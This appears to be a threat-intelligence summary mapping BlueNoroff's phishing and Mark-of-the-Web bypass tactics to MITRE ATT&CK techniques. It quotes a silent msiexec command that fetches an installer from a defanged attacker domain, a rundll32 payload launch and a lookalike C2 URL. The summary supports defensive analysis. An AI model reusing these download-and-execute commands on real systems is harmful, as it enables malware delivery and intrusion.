BlueNoroff introduces new methods bypassing MoTW

MITRE Techniques

• [T1566.001] Phishing: Spearphishing Attachment – The group usually takes advantage of Word documents and uses shortcut files for the initial intrusion. “The group usually takes advantage of Word documents and uses shortcut files for the initial intrusion.”
• [T1059.003] Command and Scripting Interpreter: Windows Command Shell – They executed several Windows commands to gather basic system information. “they executed several Windows commands to gather basic system information.”
• [T1059.005] Command and Scripting Interpreter: Visual Basic – Visual Basic Script used as part of the delivery chain. “The actor took advantage of several scripts, including Visual Basic Script and Windows Batch script.”
• [T1204.001] User Execution: Malicious Link – The additional samples include malicious links activated by user actions, such as shortcut-driven execution. “The Shortcut file named “Password.txt.lnk” … to acquire the decoy password.”
• [T1204.002] User Execution: Malicious File – Double-clicking a shortcut leads to execution of the next payload. “The command below was executed when the victim double-clicked on the shortcut file:”
• [T1218.007] System Binary Proxy Execution: Msiexec – The downloader abuses msiexec to silently launch the Windows Installer payload. “msiexec -c /Q /i hxxps://www.capmarketreport[.]com/packageupd.msi?ccop=RoPbnVqYd & timeout”
• [T1218.011] System Binary Proxy Execution: Rundll32 – The downloader uses rundll32 to execute fetched payload. “rundll32.exe %Profile%update.dll,#1 …”
• [T1105] Ingress Tool Transfer – The malware fetches the next payload from a remote server. “The fetched payload is supposed to be saved in %Profile%update.dll.”
• [T1027.002] Obfuscated Files or Information: Software Packing – The configuration is decrypted with RC4; RC4 key is embedded. “The malware decrypts the configuration data with the RC4 algorithm using an embedded 64-byte key.”
• [T1071.001] Application Layer Protocol: Web Protocols – C2 communication and payload delivery over HTTP/HTTPS URLs. “Remote URL: https://bankofamerica.us[.]org/lsizTZCslJm/W+Ltv_Pa/qUi+KSaD/_rzNkkGuW6/cQHgsE=”
• [T1105] Ingress Tool Transfer (additional): – The malware uses RC4 and URL parameters to fetch payloads in different scenarios, including proxy handling via cURL. “The payload URL was delivered using a command line parameter” (and related cURL usage in updates).